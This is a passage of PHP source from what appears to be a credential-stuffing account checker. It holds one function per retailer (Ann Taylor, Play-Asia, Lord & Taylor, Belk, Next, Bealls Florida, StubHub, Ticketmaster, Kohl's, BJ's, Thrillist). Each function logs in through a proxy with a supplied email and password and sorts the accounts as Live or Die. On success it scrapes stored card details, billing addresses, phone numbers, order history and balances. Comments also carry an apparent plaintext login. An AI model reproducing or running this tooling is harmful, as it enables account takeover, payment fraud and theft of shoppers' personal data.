5577 $n = strlen($ccnum);
5578 $info['ccnum'] = '';
5579 for ($i = 0; $i < $n; $i++)
5580 {
5581 $info['ccnum'] .= $ccnum[$i] ^ '_';
5582 }
5583 $card .= "Live | $m | $p | ".$info['ccnum']." | ".getStr(getStr($page,'<select id="creditCardVB.month" name="creditCardVB.month" title="Expiry month" class="selectCCExpiryMonth">','</select'),'selected="selected">','</option>')."/".getStr(getStr($page,'<select id="creditCardVB.year" name="creditCardVB.year" title="Expiry year" class="selectCCExpiryYear">','</select>'),'selected="selected">','</option>')." | ".getStr($page,'creditCardVB.billingAddress.firstName" type="text" value="','"')." ".getStr($page,'name="creditCardVB.billingAddress.lastName" type="text" value="','"')." | ".getStr($page,'name="creditCardVB.billingAddress.addressLine1" type="text" value="','"')." | ".getStr($page,'name="creditCardVB.billingAddress.city" type="text" value="','"')." | ".getStr(getStr($page,'<select id="creditCardVB.billingAddress.state" name="creditCardVB.billingAddress.state" class="selectCCState">','</select>'),'selected="selected">','</option')." | ".getStr($page,'name="creditCardVB.billingAddress.postalCode" type="text" value="','"')." | ".getStr($page,'name="creditCardVB.billingAddress.phoneVB.areaCode" title="Phone Area Code" class="account_phone3" type="text" value="','"')."-".getStr($page,'name="creditCardVB.billingAddress.phoneVB.exchangeNumber" title="Phone Exchange Number" class="account_phone3" type="text" value="','"')."-".getStr($page,'name="creditCardVB.billingAddress.phoneVB.subscriberNumber" title="Phone Subscriber Number" class="account_phone4" type="text" value="','"')." xuongcmndong";
5584 }
5585 }
5586 $card = str_replace(array("January",'February','March','April','May','June','July','August','September','October','November','December'), array('01','02','03','04','05','06','07','08','09','10','11','12'), $card);
5587 return $card;
5588 //return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
5589 }
5590 elseif (strpos($page, 'RETURNING CUSTOMERS, PLEASE SIGN IN')) {
5591 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5592 '<br>';
5593 $tdie++;
5594 } else {
5595 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5596 '|' . '<br>';
5597 }
5598 flush(); ob_flush();
5599
5600 $curl->close();
5601 unset($curl); // destroy object
5602 }
5603 else
5604 {
5605 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5606 '|' . '<br>';
5607 }
5608}
5609function anntaylor($m,$p,$sock)
5610{
5611 // pycoder@live.com|Quocthang1
5612 $curl = new curl;
5613 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5614 $curl->cookiefile($cookie);
5615 $curl->timeout("30");
5616 if($sock != '') {$curl->proxy($sock);}
5617 $curl->ssl(0, 2);
5618
5619 $url1 = "https://www.anntaylor.com/profile/login.jsp";
5620
5621 $page = $curl->get($url1);
5622 if ($page) {
5623 $dyn = getStr($page,'name="_dynSessConf" value="','"');
5624 $curl->referer($url1);
5625
5626 $data = "_dyncharset=UTF-8&_dynSessConf=$dyn&form_state=default_state&dest=&userName=$m&_D%3AuserName=+&password=$p&_D%3Apassword=+&b_login.x=0&b_login.y=0&_D%3Ab_login=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=myAccount.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=login.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=+&_DARGS=%2Fann%2Fprofile%2Flogin.jsp.loginForm";
5627 $page = $curl->post($url1, $data, 1, 1, 0);
5628
5629
5630 if (!strpos($page, "Please correct the error")) {
5631 $page = $curl->get("https://www.anntaylor.com/profile/ordersHistory.jsp");
5632
5633 $ordernum = getStr($page,'style="padding: 10px 5px;" rowspan="1" valign="top">','<br />');
5634 if($ordernum == "")
5635 {
5636 $order = "No Order";
5637 }
5638 else
5639 {
5640 $order = $ordernum."-".strip_tags(getStr(getStr($page,'<td class="tableBorderLeft tableBorderBottom" rowspan="1" style="padding: 10px 3px;"','</td>'),'valign="top">','<br />'))."-".getStr($page,'<div id="OrderStatus_16016">','</div>');
5641 $order = str_replace("\n", "", $order);
5642 }
5643 $page = $curl->get("https://www.anntaylor.com/profile/billingInfo.jsp");
5644 $page = explode("<!-- key/nickname -->",$page);
5645 unset($page[0]);
5646
5647 foreach ($page as $line) {
5648
5649 $cc = getStr($line,'<input type="hidden" name="defaultKey"','<!-- Default Address -->');
5650
5651 $cc = str_replace(array("<br/>","\n"), "", $cc);
5652 $cc = explode('"/>',$cc);
5653 $cc = $cc[1];
5654 $card .= " [".$cc."]";
5655
5656 }
5657 $page = $curl->get("https://www.anntaylor.com/profile/addressBook.jsp");
5658 $bill = getStr($page,'<!--pobox/address1-->','<td class="col col-actions">');
5659 $bill = strip_tags($bill);
5660 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
5661 } elseif (strpos($page, "Please correct the error")) {
5662 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5663 '<br>';
5664 $tdie++;
5665 } else {
5666 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5667 '|' . '<br>';
5668 }
5669 flush(); ob_flush();
5670
5671 $curl->close();
5672 unset($curl); // destroy object
5673 }
5674 else
5675 {
5676 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5677 '|' . '<br>';
5678 }
5679}
5680function playasia($m,$p,$sock)
5681{
5682 $curl = new curl;
5683 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5684 $curl->cookiefile($cookie);
5685 $curl->timeout("30");
5686 if($sock != '') {$curl->proxy($sock);}
5687 $curl->ssl(0, 2);
5688
5689 $url1 = "https://www.play-asia.com/paOScore/10-28-process.html";
5690
5691 $page = $curl->get($url1);
5692 if ($page) {
5693
5694 $curl->referer($url1);
5695
5696 $data = "from=&email_address=$m&password=$p&submit=login";
5697 $page = $curl->post($url1, $data, 1, 1, 0);
5698
5699
5700 if (!strpos($page, "We are sorry")) {
5701 if(strpos($page,'No Orders.'))
5702 {
5703 $order = "No Orders";
5704 }
5705 else
5706 {
5707 $order = getStr($page,'<div class="bh bh_gr">My Orders</div>','</td></tr>');
5708 $order = strip_tags($order);
5709
5710 }
5711 $page = $curl->get("https://www.play-asia.com/paOScore/18.html");
5712 $bill = getStr($page,'<div class="bh bh_grs">Ship to this address</div>','<table cellpadding=0 cellspacing=0 border=0 width="100%">');
5713 $bill = str_replace("<br />", " | ", $bill);
5714 $bill = strip_tags($bill);
5715
5716 $page = $curl->get("http://www.play-asia.com/paOS-3b-49-en.html");
5717 if(strpos($page,'No credit cards remembered'))
5718 {
5719 $card = "No Card";
5720 }
5721 else
5722 {
5723 $card = getStr($page,'</thead>','<input type="submit"');
5724 $card = strip_tags($card);
5725 $card = str_replace(array('Jan ','Feb ','Mar ','Apr ','May ','Jun ','Jul ','Aug ','Sep ','Oct ','Nov ','Dec '), array('01/','02/','03/','04/','05/','06/','07/','08/','09/','10/','11/','12/'), $card);
5726 }
5727 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
5728 } elseif (strpos($page, "We are sorry")) {
5729 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5730 '<br>';
5731 $tdie++;
5732 } else {
5733 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5734 '|' . '<br>';
5735 }
5736 flush(); ob_flush();
5737
5738 $curl->close();
5739 unset($curl); // destroy object
5740 }
5741 else
5742 {
5743 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5744 '|' . '<br>';
5745 }
5746}
5747function lordandtaylor($m,$p,$sock)
5748{
5749 //pycoder@live.com|quocthang1
5750 $curl = new curl;
5751 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5752 $curl->cookiefile($cookie);
5753 $curl->timeout("30");
5754 if($sock != '') {$curl->proxy($sock);}
5755 $curl->ssl(0, 2);
5756
5757 $url1 = "https://www.lordandtaylor.com/webapp/wcs/stores/servlet/Logon";
5758
5759 $page = $curl->get($url1);
5760 if ($page) {
5761 $curl->referer($url1);
5762
5763 $data = "isStoreFront=Y&storeId=10151&langId=-1&catalogId=10102&reLogonURL=LogonForm&myAcctMain=1&fromOrderId=*&toOrderId=.&deleteIfEmpty=*&continue=1&createIfEmpty=1&calculationUsageId=-1&updatePrices=0&errorViewName=AjaxOrderItemDisplayView&previousPage=logon&returnPage=&URL=OrderItemMove%3Fpage%3D%26URL%3DOrderCalculate%253FURL%253DAjaxLogonForm%26calculationUsageId%3D-1%26calculationUsageId%3D-2%26calculationUsageId%3D-7&logonId=$m&logonPassword=$p";
5764 $page = $curl->post($url1, $data, 1, 1, 0);
5765
5766 $page = $curl->get("https://www.lordandtaylor.com/webapp/wcs/stores/servlet/AccountMyProfileFormView?catalogId=10102&langId=-1&storeId=10151");
5767
5768 if (!strpos($page, "Returning customer")) {
5769 $page = $curl->get("https://www.lordandtaylor.com/webapp/wcs/stores/servlet/AccountMyProfileFormView?catalogId=10102&langId=-1&storeId=10151");
5770 $bill = getStr($page,'name="firstName" value="','"')." ".getStr($page,'name="lastName" value="','"')." | ".getStr($page,'name="address1" type="text" value="','"')." | ".getStr($page,'id="city" type="text" value="','"')." | ".getStr($page,"UtilitiesJS.loadStatesBasedOnCountry('myAcctChngProfile','', '","'")." | ".getStr($page,'name="zipCode" type="text" maxlength="7" value="','"')." | ".getStr($page,"MyAccountUtilJS.loadPhoneNumbers('myAcctChngProfile','', 'US','","'");
5771 if(getStr($page,'name="firstName" value="','"') != "")
5772 {
5773 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $bill";
5774 }
5775 else
5776 {
5777 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5778 '<br>';
5779 }
5780 $page = $curl->get("https://www.lordandtaylor.com/webapp/wcs/stores/servlet/AccountMyOrdersFormView?catalogId=10102&langId=-1&storeId=10151");
5781 if(strpos($page,'No Orders'))
5782 {
5783 $order = "No Order";
5784 }
5785 else
5786 {
5787 $order = getStr($page,'<td class="order-number">','</td>')."-".getStr($page,'<td class="order-date">','</td>')."-".getStr($page,'<td class="status-col">','</td>');
5788 }
5789
5790 }
5791 elseif (strpos($page, "Returning customer")) {
5792 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5793 '<br>';
5794 } else {
5795 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5796 '|' . '<br>';
5797 }
5798 flush(); ob_flush();
5799
5800 $curl->close();
5801 unset($curl); // destroy object
5802 }
5803 else
5804 {
5805 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5806 '|' . '<br>';
5807 }
5808}
5809function belk($m,$p,$sock)
5810{
5811 $curl = new curl;
5812 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5813 $curl->cookiefile($cookie);
5814 $curl->timeout("30");
5815 if($sock != '') {$curl->proxy($sock);}
5816 $curl->ssl(0, 2);
5817
5818 $url1 = "https://m.belk.com/AST/Misc/Belk_Stores/Global_Navigation/Sign_In_Register.jsp";
5819
5820 $page = $curl->get($url1);
5821 if ($page) {
5822 $curl->referer($url1);
5823 $id = getStr($page,'name="bmFormID" value="','"');
5824 $uid = getStr($page,'name="bmUID" value="','"');
5825 $hash = getStr($page,'name="bmHash" value="','"');
5826 $data = "bmForm=form_login_as_returning_user&bmFormID=$id&bmUID=$uid&bmIsForm=true&bmPrevTemplate=%2FAST%2FMisc%2FBelk_Stores%2FGlobal_Navigation%2FSign_In_Register.jsp&bmText=LOGIN%3C%3Euserid&LOGIN%3C%3Euserid=$m&bmText=LOGIN%3C%3Epassword&LOGIN%3C%3Epassword=$p&bmSubmit=login&bmButton=login&login=Login&bmHidden=selectedRadioButtonValue&selectedRadioButtonValue=1&bmHidden=FOLDER%3C%3Efolder_id&FOLDER%3C%3Efolder_id=2534374302036072&bmFields=bmSubmit%2CbmText%2CbmPrevTemplate%2CbmForm%2CbmButton%2CbmIsForm%2CbmUID%2CbmHidden%2CbmFormID&bmHash=$hash";
5827 $page = $curl->post($url1, $data, 1, 1, 0);
5828
5829 echo $page;
5830 if (strpos($page, "Review your information below and make any necessary updates")) {
5831
5832 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $bill";
5833
5834 }
5835 elseif (strpos($page, "Sign In")) {
5836 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5837 '<br>';
5838 } else {
5839 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5840 '|' . '<br>';
5841 }
5842 flush(); ob_flush();
5843
5844 $curl->close();
5845 unset($curl); // destroy object
5846 }
5847 else
5848 {
5849 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5850 '|' . '<br>';
5851 }
5852}
5853//////////////////////////////////////////////////////////
5854function nextacc($m,$p,$sock)
5855{
5856 $curl = new curl;
5857 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5858 $curl->cookiefile($cookie);
5859 $curl->timeout("30");
5860 if($sock != '') {$curl->proxy($sock);}
5861 $curl->ssl(0, 2);
5862
5863 $url1 = "https://www.next.co.uk/secure/account/Login";
5864 $urldata = "https://www.next.co.uk/secure/account/Login.aspx";
5865
5866 $page = $curl->get($url1);
5867 if ($page) {
5868 $curl->referer($url1);
5869 $data = "EmailOrAccountNumber=$m&RememberEmail=true&RememberEmail=false&Password=$p&AccountNumber=&DobDay=DD&DobMonth=MM&DobYear=YYYY&ContentClass=login+pw&SignInNow=Sign+In+Now";
5870 $page = $curl->post($urldata, $data, 1, 1, 0);
5871 $credit = getStr($page, '<th>Your available credit :</th>',' </table>');
5872 if (strpos($page, "Account Summary")) {
5873
5874 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Credit $credit | ";
5875
5876 }
5877 elseif (strpos($page, "Please check your sign in details are correct and try again.")) {
5878 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5879 '<br>';
5880 } else {
5881 echo $page;
5882 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5883 '|' . '<br>';
5884 }
5885 flush(); ob_flush();
5886
5887 $curl->close();
5888 unset($curl); // destroy object
5889 }
5890 else
5891 {
5892 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5893 '|' . '<br>';
5894 }
5895}
5896
5897
5898function beallsflorida($m,$p,$sock)
5899{
5900 //pycoder@live.com|quocthang1
5901 $curl = new curl;
5902 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5903 $curl->cookiefile($cookie);
5904 $curl->timeout("30");
5905 if($sock != '') {$curl->proxy($sock);}
5906 $curl->ssl(0, 2);
5907
5908 $url1 = "https://www.beallsflorida.com/webapp/wcs/stores/servlet/Logon";
5909 $url2 = "http://www.beallsflorida.com/webapp/wcs/stores/servlet/UserRegistrationForm?editRegistration=Y&catalogId=12003&userType=R&userState=1&langId=-1&storeId=10151";
5910 $url3 = "http://www.beallsflorida.com/webapp/wcs/stores/servlet/TrackOrderStatus?catalogId=12003&langId=-1&storeId=10151&page=orderstatus";
5911
5912 $page = $curl->get($url1);
5913 if ($page) {
5914 $curl->referer($url1);
5915
5916 $data = "action=login&storeId=10151&langId=-1&URL=OrderItemMove%3FstoreId%3D10151%26catalogId%3D12003%26langId%3D-1%26userType%3DG%26userState%3D%26userId%3D-1002%26URL%3DOrderCalculate%253fURL%253dLogonForm%2526doPrice%253dN%2526updatePrices%253d0%26page%3Daccount%26fromOrderId%3D*%26toOrderId%3D.%26deleteIfEmpty%3D*%26continue%3D1%26createIfEmpty%3D1%26calculationUsageId%3D-1%26refreshContractAndOffer%3D0%26errorViewName%3DTopCategoriesDisplayView%26qtyErrorViewName%3DOrderItemDisplay&catalogId=12003&orderId=&reLogonURL=LogonForm&isReset=&orderId=&logonId=$m&logonPassword=$p";
5917 $page = $curl->post($url1, $data, 1, 1, 0);
5918
5919
5920 if (!strpos($page, "Please try again")) {
5921
5922 $page = $curl->get($url2);
5923 $bill = getStr($page,'name="firstName" maxlength="12" size="40" tabindex="4" value="','"')." ".getStr($page,'name="lastName" maxlength="12" size="40" tabindex="5" value="','"')." | ".getStr($page,'name="address1" maxlength="50" size="40" tabindex="6" value="','"')." | ".getStr($page,'name="address2" maxlength="50" size="40" tabindex="6" value="','"')." | ".getStr($page,'name="city" maxlength="50" size="40" tabindex="8" value="','"')." | ".getStr(getStr($page,'<dt><span class="required-address">*</span> State:</dt>','</dd>'),'selected="selected">','</option>')." | ".getStr($page,'name="zipCode" maxlength="10" size="11" tabindex="11" value="','"')." | ".getStr($page,'name="phone1Part1" maxlength="3" size="3" tabindex="12" value="','"')."-".getStr($page,'name="phone1Part2" maxlength="3" size="3" tabindex="13" value="','"')."-".getStr($page,'name="phone1Part3" maxlength="4" size="4" tabindex="14" value="','"');
5924
5925 $page = $curl->get($url3);
5926 $order = getStr($page,'<th class="col5" align="right">*Order Total</th>','</table>');
5927 $show = getStr($order,'<td>','</td>');
5928
5929 $show .= " -".getStr($order,$show,'</a>');
5930 $show .= " -".getStr($order,'</a></td>','</td>');
5931 $show .= " -".getStr($order,'<td align="right">','</td>');
5932 $show = strip_tags($show);
5933 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $show | $bill";
5934 } elseif (strpos($page, "Please try again")) {
5935 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5936 '<br>';
5937 $tdie++;
5938 } else {
5939 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5940 '|' . '<br>';
5941 }
5942 flush(); ob_flush();
5943
5944 $curl->close();
5945 unset($curl); // destroy object
5946 }
5947 else
5948 {
5949 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5950 '|' . '<br>';
5951 }
5952}
5953function stubhub($m,$p,$sock)
5954{
5955 $curl = new curl;
5956 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5957 $curl->cookiefile($cookie);
5958 $curl->timeout("30");
5959 if($sock != '') {$curl->proxy($sock);}
5960 $curl->ssl(0, 2);
5961
5962 $url1 = "https://myaccount.stubhub.com/login/signin";
5963 $url2 = "https://myaccount.stubhub.com/login/signin.logincomponent_0.signinform";
5964
5965 $page = $curl->get($url1);
5966 if ($page) {
5967 $curl->referer($url1);
5968 preg_match_all("/<div class=\"t-invisible\"><input name=\"t:formdata\" type=\"hidden\" value=\"(.*)\"\/>/", $page, $matches);
5969 $form = urlencode($matches[1][1]);
5970 $ref = getStr($page,'name="TMRefId" type="text" value="','"');
5971
5972 $data = "t%3Aformdata=$form&userCheckoutLoginFailedFlag=N&loginEmail=$m&loginPassword=$p&TMRefId=$ref&signIn=signIn";
5973 $page = $curl->post($url2, $data, 1, 1, 0);
5974 //echo $page;
5975 if(strpos($page,'Access Denied') || strpos($page,'You are not allowed to access this cool site'))
5976 {
5977 return "Socks Die [Block IP] => $sock | $m | $p";
5978 }
5979 elseif (!strpos($page, "Already registered?") && $page != "") {
5980 $page = $curl->get("https://myaccount.stubhub.com/myaccount/paymentsettings");
5981 if(strpos($page,"You haven't linked a PayPal account yet"))
5982 {
5983 $cc = "Not Linked";
5984 }
5985 else
5986 {
5987 $cc = "Have Linked";
5988 }
5989 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc";
5990 }
5991 elseif (strpos($page, "Already registered?")) {
5992 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5993 '<br>';
5994 $tdie++;
5995 } else {
5996 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5997 '|' . '<br>';
5998 }
5999 flush(); ob_flush();
6000
6001 $curl->close();
6002 unset($curl); // destroy object
6003 }
6004 else
6005 {
6006 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6007 '|' . '<br>';
6008 }
6009}
6010function ticketmaster($m,$p,$sock)
6011{
6012 $curl = new curl;
6013 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6014 $curl->cookiefile($cookie);
6015 $curl->timeout("30");
6016 if($sock != '') {$curl->proxy($sock);}
6017 $curl->ssl(0, 2);
6018
6019 $url1 = "https://www.ticketmaster.com/member/?tm_link=mytm_SignIn";
6020
6021 $page = $curl->get($url1);
6022 if ($page) {
6023 $curl->referer($url1);
6024 $url2 = "https://www.ticketmaster.com".getStr($page,'name="sign_in" method=POST action="','"');
6025
6026 $data = "email_address=$m&password=$p";
6027 $page = $curl->post($url2, $data, 1, 1, 0);
6028
6029
6030 if (strpos($page, "Edit Email & Mobile Preferences")) {
6031 $page = $curl->get("https://www.ticketmaster.com/member/payment_options");
6032 $page = explode('class="button" value="Edit" type="submit" onClick="',$page);
6033 unset($page[count($page)]);
6034
6035 for($i = 0; $i < count($page); $i++)
6036 {
6037 $cc .= " [".str_replace("</td>","|",getStr($page[$i],'<td class="lastrow" scope="row">','<input name="Button"'))."]";
6038 }
6039 $cc = strip_tags($cc);
6040 $page = $curl->get("https://www.ticketmaster.com/member/edit_profile?tm_link=mytm_welcome_EditProfile");
6041 $bill = getStr($page,'id="first_name" aria-required="true" VALUE="','"')." | ".getStr($page,'id="last_name" aria-required="true" VALUE="','"')." | ".getStr($page,'<strong id="current_country_name">','</strong>')." | ".getStr($page,'new_input.setAttribute("value", unescape("','"');
6042 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $bill";
6043 }
6044 elseif (!strpos($page, "Edit Email & Mobile Preferences")) {
6045 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6046 '<br>';
6047 $tdie++;
6048 } else {
6049 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6050 '|' . '<br>';
6051 }
6052 flush(); ob_flush();
6053
6054 $curl->close();
6055 unset($curl); // destroy object
6056 }
6057 else
6058 {
6059 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6060 '|' . '<br>';
6061 }
6062}
6063function kohls($m,$p,$sock)
6064{
6065 $curl = new curl;
6066 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6067 $curl->cookiefile($cookie);
6068 $curl->timeout("30");
6069 if($sock != '') {$curl->proxy($sock);}
6070 $curl->ssl(0, 2);
6071
6072 $url1 = "https://www.kohls.com/myaccount/modal/kohls_modal_login.jsp?purl=http://www.kohls.com&source=pb";
6073 $url2 = "https://www.kohls.com/myaccount/json/acc_modal_login_json.jsp";
6074
6075 $page = $curl->get($url1);
6076 if ($page) {
6077 $curl->referer($url1);
6078 $ses = getStr($s,'<input name="_dynSessConf" value="','"');
6079 $data = "_dyncharset=UTF-8&_dynSessConf=$ses&login=$m&_D%3Alogin=+&password=$p&_D%3Apassword=+&pageName=accountModal&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=acc_modal_login_success_url&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=acc_modal_login_error_url&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=+&acc_modal_login=Login&_D%3Aacc_modal_login=+&_DARGS=%2Fmyaccount%2Fjson%2Fcustomer_login_form.jsp";
6080 $page = $curl->post($url2, $data, 1, 1, 0);
6081 echo $page;
6082
6083 if (strpos($page, "Account for:")) {
6084 $page = $curl->get("https://www.kohls.com/myaccount/my_account_wallet.jsp");
6085 if(inStr($s,array("exp.")))
6086 {
6087 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Card";
6088
6089 }
6090 elseif(inStr($s,array("XXXXXXXX")))
6091 {
6092 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Gift";
6093
6094 }
6095 else
6096 {
6097 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@";
6098
6099 }
6100
6101 } elseif (strpos($page, "Did you forget your password?")) {
6102 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6103 '<br>';
6104 $tdie++;
6105 } else {
6106 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6107 '|' . '<br>';
6108 }
6109 flush(); ob_flush();
6110
6111 $curl->close();
6112 unset($curl); // destroy object
6113 }
6114 else
6115 {
6116 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6117 '|' . '<br>';
6118 }
6119}
6120function bjs($m,$p,$sock)
6121{
6122 //pycoder@live.com|Quocthang1
6123 $curl = new curl;
6124 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6125 $curl->cookiefile($cookie);
6126 $curl->timeout("30");
6127 if($sock != '') {$curl->proxy($sock);}
6128 $curl->ssl(0, 2);
6129
6130 $url1 = "https://www.bjs.com/webapp/wcs/stores/servlet/BJsNewLogonCmd";
6131
6132
6133 $page = $curl->get($url1);
6134 if ($page) {
6135 $curl->referer($url1);
6136
6137 $data = "storeId=10201&catalogId=&langId=-1&reLogonURL=BJsSignInView&fromOrderId=*&toOrderId=**&deleteIfEmpty=*&continue=1&createIfEmpty=1&calculationUsageId=-1&updatePrices=1&previousPage=logon&callCoremetricsForUserReg=true&guestChkot=&memJoinNow=N&URL=%2Fwebapp%2Fwcs%2Fstores%2Fservlet%2FOrderItemMove%3FlangId%3D-1%26page%3Daccount%26storeId%3D10201%26catalogId%3D%26URL%3D%252fwebapp%252fwcs%252fstores%252fservlet%252fOrderCalculate%253flangId%253d-1%2526storeId%253d10201%2526catalogId%253d%2526orderId%253d.%2526URL%253d%25252fwebapp%25252fwcs%25252fstores%25252fservlet%25252fBJsMembershipSummaryView%25253flangId%25253d-1%252526storeId%25253d10201%252526catalogId%25253d%252526orderId%25253d.%252526URL%25253dAjaxLogonForm&logonId=$m&logonPassword=$p";
6138 $page = $curl->post($url1, $data, 1, 1, 0);
6139
6140
6141 if (!strpos($page, "is incorrect")) {
6142 $page = $curl->get("https://www.bjs.com/webapp/wcs/stores/servlet/AjaxAddressBookForm");
6143 $info = strip_tags(getStr($page,'<td align="center">','<div id="altImages">Edit'));
6144 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $info";
6145 } elseif (strpos($page, "is incorrect")) {
6146 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6147 '<br>';
6148 $tdie++;
6149 } else {
6150 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6151 '|' . '<br>';
6152 }
6153 flush(); ob_flush();
6154
6155 $curl->close();
6156 unset($curl); // destroy object
6157 }
6158 else
6159 {
6160 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6161 '|' . '<br>';
6162 }
6163}
6164function thrillist($m,$p,$sock)
6165{
6166 $curl = new curl;
6167 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6168 $curl->cookiefile($cookie);
6169 $curl->timeout("30");
6170 if($sock != '') {$curl->proxy($sock);}
6171 $curl->ssl(0, 2);
6172
6173 $url1 = "https://www.thrillist.com/login";
6174
6175
6176 $page = $curl->get($url1);
6177 if ($page) {
6178 $curl->referer($url1);
6179
6180 $data = "User%5Bemail%5D=$m&User%5Bpassword%5D=$p";
6181 $page = $curl->post($url1, $data, 1, 1, 0);
6182
6183
6184 if (strpos($page, '"success":true')) {
6185 $page = $curl->get("https://www.thrillist.com/account/billing");
6186 $balance = getStr($page,'<span id="accountBalance">','</span>');
6187 $bill = getStr($page,'Billing Address:','</dd>');
6188 $bill = getStr($page,'Cardholder:','</dd>').' | '.str_replace("<br />", " | ", $bill);
6189 $page = explode('<dl class="details">',$page);
6190 foreach ($page as $key) {
6191 if(strpos($key,'CC Type:'))
6192 {
6193 $card = getStr($key,'CC Type:','Cardholder:');
6194 $card = str_replace(array('Card Number:','Exp. Date:','*'), "", $card);
6195 $card = str_replace("<dd>", "-", $card);
6196 $cc .= ' ['.$card.']';
6197 }
6198 }
6199
6200 $page = $curl->get("https://www.thrillist.com/account/order_history");
6201 $order = getStr($page,'<strong>Placed:</strong>','</ul>');
6202 $order = str_replace(array('Number:','Total:','Status:'), "-", $order);
6203 $order = strip_tags($order);
6204 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $balance | $order | $cc | $bill";
6205 }
6206 elseif (strpos($page, '"success":false')) {
6207 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6208 '<br>';
6209 $tdie++;
6210 } else {
6211 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6212 '|' . '<br>';
6213 }
6214 flush(); ob_flush();
6215
6216 $curl->close();
6217 unset($curl); // destroy object
6218 }
6219 else
6220 {
6221 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6222 '|' . '<br>';
6223 }
6224}
